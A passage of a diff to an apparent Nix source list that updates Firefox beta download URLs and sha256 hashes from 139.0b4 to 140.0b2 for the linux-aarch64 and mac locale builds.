-      sha256 = "c109cbbfc292aa3ad04656c79ee5fcd0b839032fc156499dadb60aed37d93c13";
+      sha256 = "8496cd59b2f13317622e23e3840a086f70217566bade2b749288d884f6d08326";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/pl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/pl/firefox-140.0b2.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "ad2ee57783e372d968b9a76b4b0c5f4cf039e53f6ab8ab5169d556bc9733b04e";
+      sha256 = "466931bbf9058183abe611c927a2bf147e254c84f159a9c1c528bae40d8b62e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/pt-BR/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/pt-BR/firefox-140.0b2.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "c4b649b39622a0cdd8afaffdf531681659ae6c092221786df71ada4f8e5dc81f";
+      sha256 = "3c9cdc685156255ad8cdc5e557a3c58de63c3d3c1293c92ea816b2abcca69863";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/pt-PT/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/pt-PT/firefox-140.0b2.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "d84337d337c87390e8ac98f43d8b1199d3b8bf640d55ddd2eda86f3c6c2f9084";
+      sha256 = "b89c7c4d38f667b70ea74e66cb052525e692829a001b0415387f806021ceaf54";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/rm/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/rm/firefox-140.0b2.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "a8d422e2ebeb5c76a27e3df7dc8ca4052be628022d3d7df38255aae4b14089d7";
+      sha256 = "47595af5bf7ad9e8ccd76abe627037bad388bb733b625cd9200414fbe385bad1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ro/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ro/firefox-140.0b2.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "4b222f477c9291a0ed28dd51f57588914e26efd69c0a249cd2f4a3251ef2b3cf";
+      sha256 = "48cc3b4168318447044806f63dd4ab2d84aff91ed3315846df63ad9dfdf7e0a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ru/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ru/firefox-140.0b2.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "caa6d2698ce1e5508f5fad2bf90563b10a8f9961042c089f2f1a5e4d61822246";
+      sha256 = "2413517aa76e06fcfb7122c949ba8acca175201ae338b8425eb28a5ffc2ad253";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/sat/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sat/firefox-140.0b2.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "3f17440f5a67e6ac0f7f0a67eea72a4beae7c20627ba97c786f4740563adb4ff";
+      sha256 = "802f635513658ff4c9f146b7988763bf363e9676c7c3c8edaad7d15e99baf22f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/sc/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sc/firefox-140.0b2.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "3eb57781a60c295918d7f065edc1429bcd2685f01398c3176fbfd097bf88e059";
+      sha256 = "4b88d2609d1fd79ca3ec2c0e5f6f8313953a79ff321df92a66aadc0150001635";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/sco/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sco/firefox-140.0b2.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "a6c32b5c1d63728429ada5211857a49c056ce93b23d428f26a8d00efbb143e91";
+      sha256 = "b89f86a38a1595d8b4052b74e1f9beb741c859f4015c7dbf9b894a08eca6fdc1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/si/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/si/firefox-140.0b2.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "dc50c48c50cd0fa013b0754dfcecd15015392d23e0247f33b3ad15cd7aa309a6";
+      sha256 = "cf5854ec14f712d1a12502edd0026288078d81273ee260244c8d09bc45b1f704";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/sk/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sk/firefox-140.0b2.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "35906da5afd4bf8a52ddbd2ddeeb9ce01b40d5e93968e4e1f66541d0dcfb1b88";
+      sha256 = "54f6863f9dd7ca0b48ddd5b1b46b4b3b929fd01349bc5e2933f314388972757a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/skr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/skr/firefox-140.0b2.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "0af03523f3a0987e32c36d182d51c318f62efba1f614d2864e571837ca8eab13";
+      sha256 = "a051e36dbcec29dde148453fd95881c7073cd8ede0ef92e3c1e2263fcb5e1c94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/sl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sl/firefox-140.0b2.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "d7b9c75397dddb544fc4287e43f255929f04ba3e5cbd9c8c737f1f47d4d8353f";
+      sha256 = "e18c4b176463416e35438b155748b69714a965f54e87e8cc578c483a2454d30e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/son/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/son/firefox-140.0b2.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "7ab390ad40c8c7db2029a5ff103e523f2dce8691926e4f3f140c911a862937c3";
+      sha256 = "46461fa15f488234915e4a6f39fc0e241c1256c6ade93d584e686552fae53d49";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/sq/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sq/firefox-140.0b2.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "3fa9746d65d15ebed2d0bef82e16c26c25fe40671ea71651c3ea55f23769a5d1";
+      sha256 = "b6bb2006bff76cd6fa875e18e0717a357ddfbd09a419126f41ac1f614bf56adc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/sr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sr/firefox-140.0b2.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "954194b63497a3c490f819188c7353139af87a0c6ab2a0b87ce5db1a942d8b68";
+      sha256 = "f24fb9fdd5ec517efd56a5c539916a756c6ecb1686e0ec1b1437bc30b78b9168";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/sv-SE/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sv-SE/firefox-140.0b2.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "ef30b8f7ba31857b871c4e41d139eee7ac6bfc759a461c0addec73b1e1559695";
+      sha256 = "5d25e7d100840d8259a7c9043e14d2e50daef0fe14ef766aec19ca6fe30e8db5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/szl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/szl/firefox-140.0b2.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "ba038643ce7af49c6e16e6eece4a56b4bbe85a9a14639d534b9cf64884046154";
+      sha256 = "0ebdd8c0dc4f1d1f6567a9319688c7b71aff30a6999d4d57bb6ca3e50fb66031";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ta/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ta/firefox-140.0b2.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "b12d92276744680c57aeabdbd714bf5d3f2ea09030858d6d38d4aae80099989c";
+      sha256 = "e89ad50eb57568f223fc96751b6b426741826a41f1895fde4e0b1d3e3e48a0ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/te/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/te/firefox-140.0b2.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "eb5b186241b7fde86cc0f57fbe3712ef1d3831700d741c1955fd89efe84aed96";
+      sha256 = "e2e94525844616c4f9f3c51ae82a7c6b1cb4ca39272f76fc77c0c21bd1ef2278";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/tg/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/tg/firefox-140.0b2.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "b3f5feef512525cc09d11935cc1fb0b7086756158bd6cc6dffcd22cf3ec9497f";
+      sha256 = "bf8d5f5ea4c8ecc6e6764560966affcc969acacb0a6015153b2c46688b165574";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/th/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/th/firefox-140.0b2.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "2d187742b7e8a60f0a427b60f41f1d684d19360e562d2fc9d0f968cce4581b21";
+      sha256 = "23046863b1c3405f5ecd184a0ba82207f46c4489e1672e43110c47f5d6a522bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/tl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/tl/firefox-140.0b2.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "44c490eccdae6a1c0fd08d7c3b589de398498f4ff705292ff6f72366f27dd768";
+      sha256 = "0955e3bbc514eccf2774d3e70ec94d890be12b50c555787937ab38b2b30e1eb2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/tr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/tr/firefox-140.0b2.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "b784b58007959048c3067a041950813ec8be9ae30a73dc24bd0b5f1b3d702460";
+      sha256 = "a99c19d94963709c38ab298199263643f9e5f55459648d4ce9a98ec46f087db9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/trs/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/trs/firefox-140.0b2.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "611991646e94273c6b142f2af670755fe18878f2a5c61a2e9f13a0fea99ce775";
+      sha256 = "e4f033ccdf9ff353d4de0a5fd5aaf239f95c7340a90873a35ca51ad1730f6e5c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/uk/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/uk/firefox-140.0b2.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "90c25ceb18b53030e881e0f44b7d3e23c5b6c9cd380babfdcad957783d0e0c4e";
+      sha256 = "d16f97ed40b919d179a530d344a16520cf957141d3cbb68987ccffcb7a69fa62";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ur/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ur/firefox-140.0b2.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "9be466dcebfd73ff9b5a4b0982a9421034654310ccf077fb812d652b67d6d284";
+      sha256 = "0eee3a71fdbedcdadf3ffe9025c3436a0e551e7596a0b2f386175d196d3dc73a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/uz/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/uz/firefox-140.0b2.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "9d58ea902acb5ad35b19cd87f5423b21fb7772512156198d2fd05f84c08a778f";
+      sha256 = "b7e3707e6c76bdf87c83ca237895c651b9137b83814e8975569512c2c5c9cb10";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/vi/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/vi/firefox-140.0b2.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "2cfc4c3f5d129a3041096dde196f3e887498a886dac1ab6845fb54b7eeae16d2";
+      sha256 = "2ddbdf7c755241c1400656f65a181e6c117b08743d52127943882f3f0172c405";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/xh/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/xh/firefox-140.0b2.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "4eab0c87e4bd3f54d1e77b83a8c82b084c23beb0d0882d542e04bb19e798c98a";
+      sha256 = "b4fadd9165a04b491c81273273e894a81667de20e06479d166cf36942edd6ccc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/zh-CN/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/zh-CN/firefox-140.0b2.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "e6094469887c77d367ca255d0b461d47f9a352b12602042caaf668846b5f295a";
+      sha256 = "0e6b7ff8960f0cbbc1b34a3a44bb7d8bef6a832d40f6d9bd85e8d8a54f03b9f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/zh-TW/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/zh-TW/firefox-140.0b2.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "4b5490a70185a206ad337404876cf943bd49681065d87e302a2856d2543b0329";
+      sha256 = "fbc5b78a7b6e022d8e6784c741d29d0adb6bad2afed4c5b3ff878b26f6dcdd00";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ach/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ach/Firefox%20140.0b2.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "4a42735641e22b977ec4ac31451ac8e0a17faf7e409a33f0d35a33efe5e033c0";
+      sha256 = "1c2d490bbe1ec81a70cc42fd9474f980771b64f8c8142d73001d18a5e74a2f45";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/af/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/af/Firefox%20140.0b2.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "15754862b1b05ac166ae8f157655477aaf008fb7dff4ecb8847bda815dfb74fd";
+      sha256 = "d841a2fb6679761f95697ed1252c765220ca226774881153ab709f8da13339cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/an/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/an/Firefox%20140.0b2.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "ae9f4fb8eeb5d868a89c2f602d036ce71c199489d704bfbb430ceea99d21ceb9";
+      sha256 = "3ebec1ccb2d8a5050ad2920c53016c02f50dbaeb4249fbc65f72aa50463799ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ar/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ar/Firefox%20140.0b2.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "b5fa0c0e348e1aa81719979ed2348b36efb77e212e4806bb70131400ef3a3b1c";
+      sha256 = "2d40019da859a502af6d3e48112509cdc4fca031901c299dd7f0734bb6ca5de0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ast/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ast/Firefox%20140.0b2.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "97c54f7224b0baf23d2f0c775de23aa3187f7f41de4e2d406634642967fbf797";
+      sha256 = "0f69deb4c3b87c4696d34852d9e7bd956b728d3802403929ec3ba733d174635f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/az/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/az/Firefox%20140.0b2.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "0166eb8d67ec5cef8efb3c0625e8a4d3b0dd23e1a697ad1b3193e3acf3515b82";
+      sha256 = "de80d2c96e6106aff495e91dda2dc66c98b49082627fc9b73e6cb541418e01bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/be/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/be/Firefox%20140.0b2.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "995a25f2eb716ece9467a62673e1ad5938b3eca2bee1b8fc0392ecbf08d79c78";
+      sha256 = "6d1561f7858485628a4d75340d7f24e6d912703594b4c9d7bca49fd5c0b9a792";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/bg/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/bg/Firefox%20140.0b2.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "58eebc470431b310c5012ee22e21051295742cb4cdcc991bfacec025f20f16a8";
+      sha256 = "59e34ca3ced32f81b26e1a03aa9872c8a9a6247c7c660b146f787f29f53ee4a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/bn/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/bn/Firefox%20140.0b2.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "8c019e1b39c963a6c776bec5065440190afea8661a86e098d73a4139ede3438f";
+      sha256 = "3f14512645552b8fd4added4ac10995449e7e01dbfc5fb2dba8923d95298b54d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/br/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/br/Firefox%20140.0b2.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "c263c604507b44d9eceff1c6a4d88a5d03f6b72a437235902440811b5594fc4c";
+      sha256 = "7793a491f9fa9a417408685ca1d8dcf2b9a2bb1048f4ee95e4aaec3dfa6b2168";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/bs/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/bs/Firefox%20140.0b2.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "709e3edf72a4927c929eb978611553f1c9c51f4d2b65ad8316ae08e7db5727da";
+      sha256 = "8e1e58ae603650f447244b20da467a987bc5663f7805eaa87c108aea0dfe8629";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ca-valencia/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ca-valencia/Firefox%20140.0b2.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "fd21e0c49e8c89479e43a5e8e6eadcc565550ccedae11b48e534875c79858c40";
+      sha256 = "0fcc15e68a06f56e3aa8f52833652570d2e2c80386b4d468f119d9b2f5d63cc6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ca/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ca/Firefox%20140.0b2.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "49945e34d0031cd6d734904449c0cc45bb43a064674ae30d249a69202aa2ffc7";
+      sha256 = "a4cd0c1f124a8997182dbdccaee61f03d688e10c2c9f4f46076ef62c88bc2ebc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/cak/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/cak/Firefox%20140.0b2.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "9716963c81d5bf84ccc5046a1cc61a3bc4e593f116b390e761f2dba1edf7d1f9";
+      sha256 = "ba76bb6afbbb6f72538d1a0b50d5f95cd2a14421a321ae013984ee880017031b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/cs/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/cs/Firefox%20140.0b2.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "239a8caba9b1a23b7c98ab9f507d8718594f353dd27c079efeb8b42bd77ae7ea";
+      sha256 = "005862a68ec16e926e9e888a73fa27314da31519e38ce0fd6656ad924b6c296c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/cy/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/cy/Firefox%20140.0b2.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "cecc8f11be8ccaa4b3d98120e86c347510b56a04c9812ba8e98852f331bfe6c5";
+      sha256 = "d71f2f3f678b5289023089482107772a448848db26e75908e8cde58087aaf1d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/da/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/da/Firefox%20140.0b2.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "6edf58c11f2d4ab1ea575bc5b5fc32cf9cdafff197e17aa47450fc940a22ae15";
+      sha256 = "a2ca0b54a7324acc16e9d2ee6831e3bf25cabf36e1f4ec69c4034795c1519185";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/de/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/de/Firefox%20140.0b2.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "0e0d6110bb40aca8498523b49e48da8fc4e7ae198191aeab5b7f0e9e9baa11f2";
+      sha256 = "24cbff457b1bdba5c44a473f7d65e247727df35a28ece5ab2b685a92f24cb4db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/dsb/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/dsb/Firefox%20140.0b2.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "8713f01cea21be9d90e917809b963aacd05d8ca5fb8d311e46c06e693a40ded7";
+      sha256 = "0af7cec5144e91bd7c42b3ac6e1bf1b73724853e0c0a67b4d1800aa5a7ef9218";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/el/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/el/Firefox%20140.0b2.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "75eb0726b6cbf7e2b5172a282b79069d1580cacfa0f9a1654853195d9976d84f";
+      sha256 = "4fe53f17a96dcaa91ae4e630222a8311c4b63c8d627ba7fecafab3cb66ae8bc8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/en-CA/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/en-CA/Firefox%20140.0b2.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "1cf3f9e0bdd4941243f11a55c3fb4a24dac024a942ad2b89d568b784f174fb1b";
+      sha256 = "5671afd041943c805d0115bb235636c656966b79b37b8ff622318b08dc66f23d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/en-GB/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/en-GB/Firefox%20140.0b2.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "b29064c4277036ebca99ea3cbbebf7ef887247e97e34778180c3381da673aae2";
+      sha256 = "27899bd86fe738877c78e9c95dfed10f84f1d99865caf1c8e377a285f7539742";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/en-US/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/en-US/Firefox%20140.0b2.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "c61d0fe161c6cb778a3e564f4cffa70cc7fb6bb5770586fa66c7db8ab9c31cf1";
+      sha256 = "e60b906321e4e8f6479d87e02314fdf804e3b461028f8d70552d88911a693a0e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/eo/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/eo/Firefox%20140.0b2.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "fdf543162489d4165d8b39e01bad6d28addcad942d90c32aa2068e74558def80";
+      sha256 = "e5513b3584e0e07ab2efbbc3b1acb531cd19fe88decc460fdef0b8bab1ba45ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/es-AR/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/es-AR/Firefox%20140.0b2.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "13641a204ea5fbce36d1c9661fc149081e90fcd03a2840300a288861bacd5925";
+      sha256 = "e70de7f34a08c75c8ca81e041033fda21f8af581f30705ccd1708666a69ed993";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/es-CL/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/es-CL/Firefox%20140.0b2.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "1fb4f9f7f01c78188b038a1116b4e19607388947067dbcad3bde3daa115e5f68";
+      sha256 = "f93f379e3953b56cf32f1e7d71df9fd6d0e898a41cb10c1af8fb0c83fd953c64";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/es-ES/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/es-ES/Firefox%20140.0b2.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "13cc2d4179bc10b58253e8a88cabb8228f9fd14fb1e237f002c7220c29c790af";
+      sha256 = "d7275c44b957fe378e949d0c47f8eba8792b5cbc0bacfaa98a4f26795c0f4bef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/es-MX/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/es-MX/Firefox%20140.0b2.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "a78061c9a63720610f1a11990199299a66e6c3f805821df80fc994bcab01d2e1";
